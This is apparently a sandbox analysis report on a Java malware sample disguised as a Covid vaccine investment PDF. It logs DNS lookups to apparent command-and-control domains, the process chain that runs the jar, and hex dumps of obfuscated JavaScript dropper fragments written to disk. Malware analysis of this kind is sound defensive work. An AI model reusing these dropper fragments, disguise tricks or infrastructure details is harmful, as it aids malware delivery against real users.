Feb 23, 2021 21:04:22.646184921 CET 192.168.2.3 8.8.8.8 0x94c2 Standard query 
(0)

github.com A (IP address) IN (0x0001)

Feb 23, 2021 21:04:23.130125046 CET 192.168.2.3 8.8.8.8 0x439e Standard query 
(0)

github-rel
eases.gith
ubusercont
ent.com

A (IP address) IN (0x0001)

Feb 23, 2021 21:04:42.782876015 CET 192.168.2.3 8.8.8.8 0x2f6e Standard query 
(0)

str-master.pw A (IP address) IN (0x0001)

Feb 23, 2021 21:04:50.739006996 CET 192.168.2.3 8.8.8.8 0xba98 Standard query 
(0)

jbfrost.live A (IP address) IN (0x0001)

Feb 23, 2021 21:04:50.993541956 CET 192.168.2.3 8.8.8.8 0xd94a Standard query 
(0)

pastebin.com A (IP address) IN (0x0001)

Feb 23, 2021 21:04:51.840692043 CET 192.168.2.3 8.8.8.8 0x67af Standard query 
(0)

str-master.pw A (IP address) IN (0x0001)

Feb 23, 2021 21:04:52.228467941 CET 192.168.2.3 8.8.8.8 0x75b5 Standard query 
(0)

pluginserv
er.duckdns.org

A (IP address) IN (0x0001)

Feb 23, 2021 21:05:04.293481112 CET 192.168.2.3 8.8.8.8 0xbd0 Standard query 
(0)

strizzz100
.duckdns.org

A (IP address) IN (0x0001)

Feb 23, 2021 21:05:59.069261074 CET 192.168.2.3 8.8.8.8 0x5536 Standard query 
(0)

strizzz100
.duckdns.org

A (IP address) IN (0x0001)

Feb 23, 2021 21:05:59.311817884 CET 192.168.2.3 8.8.8.8 0x3a23 Standard query 
(0)

pluginserv
er.duckdns.org

A (IP address) IN (0x0001)

Feb 23, 2021 21:06:35.015863895 CET 192.168.2.3 8.8.8.8 0xd395 Standard query 
(0)

pluginserv
er.duckdns.org

A (IP address) IN (0x0001)

Feb 23, 2021 21:06:51.716965914 CET 192.168.2.3 8.8.8.8 0x9a7e Standard query 
(0)

strizzz100
.duckdns.org

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Feb 23, 2021 
21:04:22.706168890 
CET

8.8.8.8 192.168.2.3 0x1573 No error (0) repo1.mave
n.org

sonatype.map.fastly.net CNAME 
(Canonical 
name)

IN (0x0001)

Feb 23, 2021 
21:04:22.706168890 
CET

8.8.8.8 192.168.2.3 0x1573 No error (0) sonatype.m
ap.fastly.net

199.232.192.209 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:22.706168890 
CET

8.8.8.8 192.168.2.3 0x1573 No error (0) sonatype.m
ap.fastly.net

199.232.196.209 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:22.710860014 
CET

8.8.8.8 192.168.2.3 0x94c2 No error (0) github.com 140.82.121.3 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:23.188406944 
CET

8.8.8.8 192.168.2.3 0x439e No error (0) github-rel
eases.gith
ubusercont
ent.com

185.199.108.154 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:23.188406944 
CET

8.8.8.8 192.168.2.3 0x439e No error (0) github-rel
eases.gith
ubusercont
ent.com

185.199.109.154 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:23.188406944 
CET

8.8.8.8 192.168.2.3 0x439e No error (0) github-rel
eases.gith
ubusercont
ent.com

185.199.110.154 A (IP address) IN (0x0001)

DNS Queries

DNS Answers
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Feb 23, 2021 
21:04:23.188406944 
CET

8.8.8.8 192.168.2.3 0x439e No error (0) github-rel
eases.gith
ubusercont
ent.com

185.199.111.154 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:50.826561928 
CET

8.8.8.8 192.168.2.3 0xba98 Server failure 
(2)

jbfrost.live none none A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:51.047672987 
CET

8.8.8.8 192.168.2.3 0xd94a No error (0) pastebin.com 104.23.99.190 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:51.047672987 
CET

8.8.8.8 192.168.2.3 0xd94a No error (0) pastebin.com 104.23.98.190 A (IP address) IN (0x0001)

Feb 23, 2021 
21:04:52.462094069 
CET

8.8.8.8 192.168.2.3 0x75b5 No error (0) pluginserv
er.duckdns.org

23.239.31.129 A (IP address) IN (0x0001)

Feb 23, 2021 
21:05:04.521935940 
CET

8.8.8.8 192.168.2.3 0xbd0 No error (0) strizzz100
.duckdns.org

107.175.144.243 A (IP address) IN (0x0001)

Feb 23, 2021 
21:05:59.302706003 
CET

8.8.8.8 192.168.2.3 0x5536 No error (0) strizzz100
.duckdns.org

107.175.144.243 A (IP address) IN (0x0001)

Feb 23, 2021 
21:05:59.535707951 
CET

8.8.8.8 192.168.2.3 0x3a23 No error (0) pluginserv
er.duckdns.org

23.239.31.129 A (IP address) IN (0x0001)

Feb 23, 2021 
21:06:35.237154007 
CET

8.8.8.8 192.168.2.3 0xd395 No error (0) pluginserv
er.duckdns.org

23.239.31.129 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest

Feb 23, 2021 
21:04:22.865737915 
CET

140.82.121.3 443 192.168.2.3 49721 CN=github.com, 
O="GitHub, Inc.", L=San 
Francisco, ST=California, 
C=US CN=DigiCert SHA2 
High Assurance Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High 
Assurance Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US 
CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Tue May 
05 
02:00:00 
CEST 
2020 
Tue Oct 
22 
14:00:00 
CEST 
2013

Tue May 
10 
14:00:00 
CEST 
2022 
Sun Oct 
22 
14:00:00 
CEST 
2028

771,49188-
49192-61-49190-
49194-107-106-
49162-49172-53-
49157-49167-57-
56-49187-49191-
60-49189-49193-
103-64-49161-
49171-47-49156-
49166-51-50-
49196-49195-
49200-157-
49198-49202-
159-163-49199-
156-49197-
49201-158-162-
255,10-11-13-
23-0,23-24-25-9-
10-11-12-13-14-
22,0

d2935c58fe676744fecc86
14ee5356c7

CN=DigiCert SHA2 High 
Assurance Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Tue Oct 
22 
14:00:00 
CEST 
2013

Sun Oct 
22 
14:00:00 
CEST 
2028

Feb 23, 2021 
21:04:22.868626118 
CET

199.232.192.209 443 192.168.2.3 49719 CN=repo1.maven.org, 
O="Sonatype, Inc", 
L=Fulton, ST=Maryland, 
C=US CN=DigiCert SHA2 
Secure Server CA, 
O=DigiCert Inc, C=US

CN=DigiCert SHA2 
Secure Server CA, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Mon 
Aug 17 
02:00:00 
CEST 
2020 Fri 
Mar 08 
13:00:00 
CET 
2013

Wed 
Sep 08 
14:00:00 
CEST 
2021 
Wed 
Mar 08 
13:00:00 
CET 
2023

771,49188-
49192-61-49190-
49194-107-106-
49162-49172-53-
49157-49167-57-
56-49187-49191-
60-49189-49193-
103-64-49161-
49171-47-49156-
49166-51-50-
49196-49195-
49200-157-
49198-49202-
159-163-49199-
156-49197-
49201-158-162-
255,10-11-13-
23-0,23-24-25-9-
10-11-12-13-14-
22,0

d2935c58fe676744fecc86
14ee5356c7

CN=DigiCert SHA2 Secure 
Server CA, O=DigiCert Inc, 
C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Fri Mar 
08 
13:00:00 
CET 
2013

Wed 
Mar 08 
13:00:00 
CET 
2023

HTTPS Packets
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Code Manipulations

Statistics

Behavior

• cmd.exe

• 7za.exe

• cmd.exe

• conhost.exe

• java.exe

• icacls.exe

• conhost.exe

• wscript.exe

• javaw.exe

Feb 23, 2021 
21:04:22.868731022 
CET

199.232.192.209 443 192.168.2.3 49720 CN=repo1.maven.org, 
O="Sonatype, Inc", 
L=Fulton, ST=Maryland, 
C=US CN=DigiCert SHA2 
Secure Server CA, 
O=DigiCert Inc, C=US

CN=DigiCert SHA2 
Secure Server CA, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Mon 
Aug 17 
02:00:00 
CEST 
2020 Fri 
Mar 08 
13:00:00 
CET 
2013

Wed 
Sep 08 
14:00:00 
CEST 
2021 
Wed 
Mar 08 
13:00:00 
CET 
2023

771,49188-
49192-61-49190-
49194-107-106-
49162-49172-53-
49157-49167-57-
56-49187-49191-
60-49189-49193-
103-64-49161-
49171-47-49156-
49166-51-50-
49196-49195-
49200-157-
49198-49202-
159-163-49199-
156-49197-
49201-158-162-
255,10-11-13-
23-0,23-24-25-9-
10-11-12-13-14-
22,0

d2935c58fe676744fecc86
14ee5356c7

CN=DigiCert SHA2 Secure 
Server CA, O=DigiCert Inc, 
C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Fri Mar 
08 
13:00:00 
CET 
2013

Wed 
Mar 08 
13:00:00 
CET 
2023

Feb 23, 2021 
21:04:22.868848085 
CET

199.232.192.209 443 192.168.2.3 49718 CN=repo1.maven.org, 
O="Sonatype, Inc", 
L=Fulton, ST=Maryland, 
C=US CN=DigiCert SHA2 
Secure Server CA, 
O=DigiCert Inc, C=US

CN=DigiCert SHA2 
Secure Server CA, 
O=DigiCert Inc, C=US 
CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Mon 
Aug 17 
02:00:00 
CEST 
2020 Fri 
Mar 08 
13:00:00 
CET 
2013

Wed 
Sep 08 
14:00:00 
CEST 
2021 
Wed 
Mar 08 
13:00:00 
CET 
2023

771,49188-
49192-61-49190-
49194-107-106-
49162-49172-53-
49157-49167-57-
56-49187-49191-
60-49189-49193-
103-64-49161-
49171-47-49156-
49166-51-50-
49196-49195-
49200-157-
49198-49202-
159-163-49199-
156-49197-
49201-158-162-
255,10-11-13-
23-0,23-24-25-9-
10-11-12-13-14-
22,0

d2935c58fe676744fecc86
14ee5356c7

CN=DigiCert SHA2 Secure 
Server CA, O=DigiCert Inc, 
C=US

CN=DigiCert Global 
Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Fri Mar 
08 
13:00:00 
CET 
2013

Wed 
Mar 08 
13:00:00 
CET 
2023

Feb 23, 2021 
21:04:23.355176926 
CET

185.199.108.154 443 192.168.2.3 49722 CN=www.github.com, 
O="GitHub, Inc.", L=San 
Francisco, ST=California, 
C=US CN=DigiCert SHA2 
High Assurance Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High 
Assurance Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US 
CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Wed 
May 06 
02:00:00 
CEST 
2020 
Tue Oct 
22 
14:00:00 
CEST 
2013

Thu Apr 
14 
14:00:00 
CEST 
2022 
Sun Oct 
22 
14:00:00 
CEST 
2028

771,49188-
49192-61-49190-
49194-107-106-
49162-49172-53-
49157-49167-57-
56-49187-49191-
60-49189-49193-
103-64-49161-
49171-47-49156-
49166-51-50-
49196-49195-
49200-157-
49198-49202-
159-163-49199-
156-49197-
49201-158-162-
255,10-11-13-
23-0,23-24-25-9-
10-11-12-13-14-
22,0

d2935c58fe676744fecc86
14ee5356c7

CN=DigiCert SHA2 High 
Assurance Server CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

CN=DigiCert High 
Assurance EV Root CA, 
OU=www.digicert.com, 
O=DigiCert Inc, C=US

Tue Oct 
22 
14:00:00 
CEST 
2013

Sun Oct 
22 
14:00:00 
CEST 
2028

Timestamp Source IP
Source
Port Dest IP

Dest
Port Subject Issuer

Not
Before

Not
After

JA3 SSL Client
Fingerprint JA3 SSL Client Digest
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• java.exe

• conhost.exe

• cmd.exe

• java.exe

• conhost.exe

• conhost.exe

• schtasks.exe

• notepad.exe

• java.exe

• conhost.exe

• notepad.exe

• notepad.exe

• javaw.exe

• notepad.exe

• javaw.exe

Click to jump to process

System Behavior

File ActivitiesFile Activities

Start time: 21:04:10

Start date: 23/02/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covi
d19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar'

Imagebase: 0x7ff77d8b0000

File size: 273920 bytes

MD5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

Start time: 21:04:11

Start date: 23/02/2021

Path: C:\Windows\System32\7za.exe

Wow64 process (32bit): true

Commandline: 7za.exe  x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposal
s_1st_Quarter2021 pdf.jar'

Imagebase: 0xb40000

File size: 289792 bytes

MD5 hash: 77E556CDFDC5C592F5C46DB4127C6F4C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: cmd.exe PID: 4952 Parent PID: 5664Analysis Process: cmd.exe PID: 4952 Parent PID: 5664

General

Analysis Process: 7za.exe PID: 384 Parent PID: 4952Analysis Process: 7za.exe PID: 384 Parent PID: 4952

General
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File ActivitiesFile Activities

Yara matches: Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000002.00000003.200309664.0000000002C90000.00000004.00000001.sdmp, Author: 
Florian Roth

Reputation: high

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\jar\keuqzwqbvn read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 B44FB8 CreateDirectoryW

C:\jar\keuqzwqbvn\resources read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 B44FB8 CreateDirectoryW

C:\jar\keuqzwqbvn\resources\umxybpjabc read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 B463B0 CreateFileW

C:\jar\META-INF read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 B44FB8 CreateDirectoryW

C:\jar\META-INF\MANIFEST.MF read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 B463B0 CreateFileW

C:\jar\keuqzwqbvn read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 2 B44FB8 CreateDirectoryW

C:\jar\keuqzwqbvn\Mlncjyhbeex.class read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 B463B0 CreateFileW

C:\jar\keuqzwqbvn\Mmwwrnygnfl.class read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 B463B0 CreateFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File CreatedFile Created

File WrittenFile Written
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C:\jar\keuqzwqbvn\resources\umxybpjabc unknown 32768 76 61 72 20 65 66 72 
33 62 30 68 20 3d 20 
5b 0a 66 75 6e 63 74 
69 6f 6e 28 7a 65 6e 
31 74 68 42 29 7b 0a 
09 76 61 72 20 6d 6b 
6b 5f 70 6c 34 7a 34 
20 3d 20 41 72 72 61 
79 28 7a 65 6e 31 74 
68 42 5b 30 5d 2c 0a 
09 09 09 09 09 09 22 
5c 78 36 44 5c 78 36 
42 5c 78 36 42 5c 78 
35 46 5c 78 37 30 5c 
78 36 43 5c 78 33 34 
5c 78 37 41 5c 78 33 
34 5c 78 35 42 5c 78 
33 30 5c 78 35 44 5c 
78 32 30 5c 78 33 44 
5c 78 32 30 5c 78 36 
44 5c 78 36 42 5c 78 
36 42 5c 78 35 46 5c 
78 37 30 5c 78 36 43 
5c 78 33 34 5c 78 37 
41 5c 78 33 34 5c 78 
35 42 5c 78 33 30 5c 
78 35 44 5c 78 32 45 
22 29 3b 0a 09 6d 6b 
6b 5f 70 6c 34 7a 34 
5b 30 5d 20 3d 20 6d 
6b 6b 5f 70 6c 34 7a 
34 5b 30 5d 2e 72 65 
70 6c 61 63 65 28 6e 
65 77 20 52 65 67 45 
78 70 28 22 3e 25 40 
22 2c 20 22 67 22 29 
2c 20 22 

var efr3b0h = 
[.function(zen1thB){..var 
mkk_pl4z4 = Array(ze
n1thB[0],......."\x6D\x6B\x6
B\
x5F\x70\x6C\x34\x7A\x34\
x5B\x3
0\x5D\x20\x3D\x20\x6D\x6
B\x6B\
x5F\x70\x6C\x34\x7A\x34\
x5B\x3
0\x5D\x2E");..mkk_pl4z4[0] 
= m
kk_pl4z4[0].replace(new 
RegExp(">%@", "g"), "

success or wait 21 B46987 WriteFile

C:\jar\keuqzwqbvn\resources\umxybpjabc unknown 32768 7a 6d 63 65 44 4d 30 
58 48 67 33 4f 56 78 
34 4e 6a 6d 63 65 44 
4d 33 58 48 67 30 4d 
31 78 34 4d 7a 4e 63 
65 44 4d 77 58 48 67 
33 4e 56 78 34 4d 7a 
5a 63 65 44 4d 79 58 
48 67 7a 4e 6c 78 34 
4e 44 6d 63 65 44 51 
32 58 48 67 32 52 56 
78 34 4e 54 56 63 65 
44 4d 30 58 48 67 7a 
4d 6c 78 34 4e 54 56 
63 65 44 63 33 58 48 
67 31 4f 46 78 34 4e 
7a 42 63 65 44 4d 35 
58 48 67 32 4e 31 78 
34 4d 7a 46 63 65 44 
59 31 58 48 67 7a 4d 
56 78 34 4e 54 4a 63 
65 44 59 7a 58 48 67 
7a 4d 56 78 34 4e 44 
52 63 65 44 5a 45 58 
48 67 30 4d 6c 78 34 
4d 7a 6d 63 65 44 55 
78 58 48 67 32 4d 31 
78 34 4e 7a 6d 63 65 
44 52 45 58 48 67 33 
4f 56 78 34 4e 54 68 
63 65 44 59 79 58 48 
67 7a 4f 56 78 34 4e 
6a 68 63 65 44 51 33 
58 48 67 30 4d 6c 78 
34 4d 7a 56 63 65 44 
4d 33 58 48 67 32 52 
46 78 34 

zmceDM0XHg3OVx4Njmc
eDM3XHg0M1x
4MzNceDMwXHg3NVx4M
zZceDMyXHgzN
lx4NDmceDQ2XHg2RVx4
NTVceDM0XHg
zMlx4NTVceDc3XHg1OFx
4NzBceDM5X
Hg2N1x4MzFceDY1XHgz
MVx4NTJceDY
zXHgzMVx4NDRceDZEX
Hg0Mlx4Mzmce
DUxXHg2M1x4NzmceDR
EXHg3OVx4NTh
ceDYyXHgzOVx4NjhceDQ
3XHg0Mlx4M
zVceDM3XHg2RFx4

success or wait 1 B46987 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\jar\keuqzwqbvn\resources\umxybpjabc unknown 16271 30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 4e 54 56 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 59 
33 58 48 67 30 4f 56 
78 34 4e 44 4e 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 51 7a 58 48 
67 32 4d 6c 78 34 4e 
44 5a 63 65 44 5a 44 
58 48 67 32 4e 46 78 
34 4e 54 4e 63 65 44 
59 35 58 48 67 7a 52 
56 78 34 4d 6a 56 63 
65 44 51 77 58 48 67 
31 4d 46 78 34 4e 6a 
6d 63 65 44 59 30 58 
48 67 7a 4d 56 78 34 
4e 6b 5a 63 65 44 52 
42 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 7a 
52 56 78 34 4d 6a 56 
63 65 44 51 77 58 48 
67 30 4d 6c 78 34 4e 
45 56 63 65 44 51 31 
58 48 67 31 4d 56 78 
34 4d 30 56 63 65 44 
49 31 58 48 67 30 4d 
46 78 34 

0VceDI1XHg0MFx4M0Vce
DI1XHg0MFx
4NTVceDNFXHgyNVx4ND
BceDNFXHgyN
Vx4NDBceDY3XHg0OVx4
NDNceDNFXHg
yNVx4NDBceDQzXHg2Ml
x4NDZceDZDX
Hg2NFx4NTNceDY5XHgz
RVx4MjVceDQ
wXHg1MFx4NjmceDY0XH
gzMVx4NkZce
DRBXHgzRVx4MjVceDQw
XHgzRVx4MjV
ceDQwXHg0Mlx4NEVceD
Q1XHg1MVx4M
0VceDI1XHg0MFx4

success or wait 1 B46987 WriteFile

C:\jar\META-INF\MANIFEST.MF unknown 61 4d 61 6e 69 66 65 73 
74 2d 56 65 72 73 69 
6f 6e 3a 20 31 2e 30 
0d 0a 4d 61 69 6e 2d 
43 6c 61 73 73 3a 20 
6b 65 75 71 7a 77 71 
62 76 6e 2e 4d 6d 77 
77 72 6e 79 67 6e 66 
6c 0d 0a 0d 0a 

Manifest-Version: 
1.0..Main-Class: 
keuqzwqbvn.Mmwwrnygnfl
....

success or wait 1 B46987 WriteFile

C:\jar\keuqzwqbvn\Mlncjyhbeex.class unknown 830 ca fe ba be 00 00 00 
32 00 31 0a 00 09 00 
1b 0a 00 1c 00 1d 0a 
00 1e 00 1f 0a 00 1c 
00 20 0a 00 1e 00 20 
07 00 21 0a 00 22 00 
23 07 00 24 07 00 25 
01 00 06 3c 69 6e 69 
74 3e 01 00 03 28 29 
56 01 00 04 43 6f 64 
65 01 00 0f 4c 69 6e 
65 4e 75 6d 62 65 72 
54 61 62 6c 65 01 00 
06 74 31 6e 55 62 55 
01 00 32 28 4c 6a 61 
76 61 2f 69 6f 2f 49 6e 
70 75 74 53 74 72 65 
61 6d 3b 4c 6a 61 76 
61 2f 69 6f 2f 46 69 6c 
65 4f 75 74 70 75 74 
53 74 72 65 61 6d 3b 
29 56 01 00 0d 53 74 
61 63 6b 4d 61 70 54 
61 62 6c 65 07 00 26 
07 00 24 07 00 27 07 
00 28 07 00 21 01 00 
07 62 31 67 34 4e 74 
68 01 00 29 28 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 52 75 6e 74 69 
6d 65 3b 5b 4c 6a 61 
76 61 2f 6c 61 6e 67 2f 
53 74 72 69 6e 67 3b 
29 56 01 00 0a 45 78 
63 65 70 74 69 6f 6e 
73 01 00 0a 53 6f 75 

.......2.1................... .... 

..!..".#..$..%...<init>...
()V...Code...LineNumberTa
ble.
..t1nUbU..2(Ljava/io/InputS
tre
am;Ljava/io/FileOutputStre
am;)
V...StackMapTable..&..$..'.
.(..!...b1g4Nth..)
(Ljava/lang/Runtime;
[Ljava/lang/String;)V...E
xceptions...Sou

success or wait 1 B46987 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\jar\keuqzwqbvn\Mmwwrnygnfl.class unknown 1582 ca fe ba be 00 00 00 
32 00 59 0a 00 1a 00 
2a 07 00 2b 0a 00 04 
00 2c 07 00 2d 07 00 
2e 0a 00 2f 00 30 07 
00 31 0a 00 07 00 32 
0a 00 04 00 33 0a 00 
34 00 35 0a 00 04 00 
36 07 00 37 07 00 38 
0a 00 0d 00 2a 08 00 
39 0a 00 3a 00 3b 0a 
00 0d 00 3c 09 00 3d 
00 3e 08 00 3f 0a 00 
0d 00 40 08 00 41 0a 
00 0c 00 42 0a 00 04 
00 43 0a 00 1a 00 36 
0a 00 1a 00 33 07 00 
44 01 00 06 3c 69 6e 
69 74 3e 01 00 16 28 
5b 4c 6a 61 76 61 2f 
6c 61 6e 67 2f 4f 62 6a 
65 63 74 3b 29 56 01 
00 04 43 6f 64 65 01 
00 0f 4c 69 6e 65 4e 
75 6d 62 65 72 54 61 
62 6c 65 01 00 0a 45 
78 63 65 70 74 69 6f 
6e 73 07 00 45 01 00 
06 71 32 32 52 44 74 
01 00 04 6d 61 69 6e 
01 00 16 28 5b 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 53 74 72 69 6e 
67 3b 29 56 01 00 07 
62 31 67 34 4e 74 68 
01 00 29 28 4c 6a 61 
76 61 

.......2.Y....*..+....,..-....

./.0..1....2....3..4.5....6..7

..8....*..9..:.;....<..=.>..?.

...@..A....B....C....6....3..D

...<init>...
([Ljava/lang/Objec
t;)V...Code...LineNumberT
able.
..Exceptions..E...q22RDt...
main...
([Ljava/lang/String;)V...b
1g4Nth..)(Ljava

success or wait 1 B46987 WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 1024 success or wait 1 B4686E ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 4 success or wait 1 B4686E ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 26 success or wait 1 B4686E ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 131072 success or wait 1 B4686E ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 4 success or wait 4 B4686E ReadFile

C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar unknown 175957 success or wait 3 B4686E ReadFile

File ActivitiesFile Activities

Start time: 21:04:11

Start date: 23/02/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\System32\cmd.exe' /c java.exe -jar 'C:\Users\user\Desktop\Covid19_Va
cine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl >> C:\
cmdlinestart.log 2>&1

Imagebase: 0x7ff77d8b0000

File size: 273920 bytes

MD5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ReadFile Read

Analysis Process: cmd.exe PID: 4120 Parent PID: 5664Analysis Process: cmd.exe PID: 4120 Parent PID: 5664

General

File CreatedFile Created
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File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\cmdlinestart.log read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 7FF77D8BC614 CreateFileW

Start time: 21:04:12

Start date: 23/02/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File ActivitiesFile Activities

Start time: 21:04:12

Start date: 23/02/2021

Path: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_885250\java.exe

Wow64 process (32bit): true

Commandline: java.exe  -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Qu
arter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl 

Imagebase: 0xf0000

File size: 192376 bytes

MD5 hash: 28733BA8C383E865338638DF5196E6FE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Java

Yara matches: Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000006.00000002.207844794.0000000014D78000.00000004.00000001.sdmp, Author: 
Florian Roth

Reputation: moderate

File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\hsperfdata_user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 6DE88C5B CreateDirectoryA

C:\Users\user\AppData\Local\Temp\hsperfdata_user\5544 read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 6DE88D58 CreateFileA

Analysis Process: conhost.exe PID: 5708 Parent PID: 4120Analysis Process: conhost.exe PID: 5708 Parent PID: 4120

General

Analysis Process: java.exe PID: 5544 Parent PID: 4120Analysis Process: java.exe PID: 5544 Parent PID: 4120

General

File CreatedFile Created
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C:\ProgramData\Oracle\Java\.oracle_jre_usage read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 6F48845C CreateDirectoryW

C:\ProgramData\Oracle\Java\.oracle_jre_usage\cce3fe3b0d8d83e
2.timestamp

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 6F4880CF CreateFileW

C:\Users\user\fukvowbkrs.js read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6F489D3D CreateFileW

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\ProgramData\Oracle\Java\.or
acle_jre_usage\cce3fe3b0d8d83e2.timestamp

unknown 57 43 3a 5c 50 72 6f 67 
72 61 6d 20 46 69 6c 
65 73 20 28 78 38 36 
29 5c 4a 61 76 61 5c 
6a 72 65 31 2e 38 2e 
30 5f 32 31 31 0d 0a 
31 36 31 34 31 34 33 
30 35 33 33 34 33 0d 
0a 

C:\Program Files 
(x86)\Java\jr
e1.8.0_211..161414305334
3..

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 76 61 72 20 65 66 72 
33 62 30 68 20 3d 20 
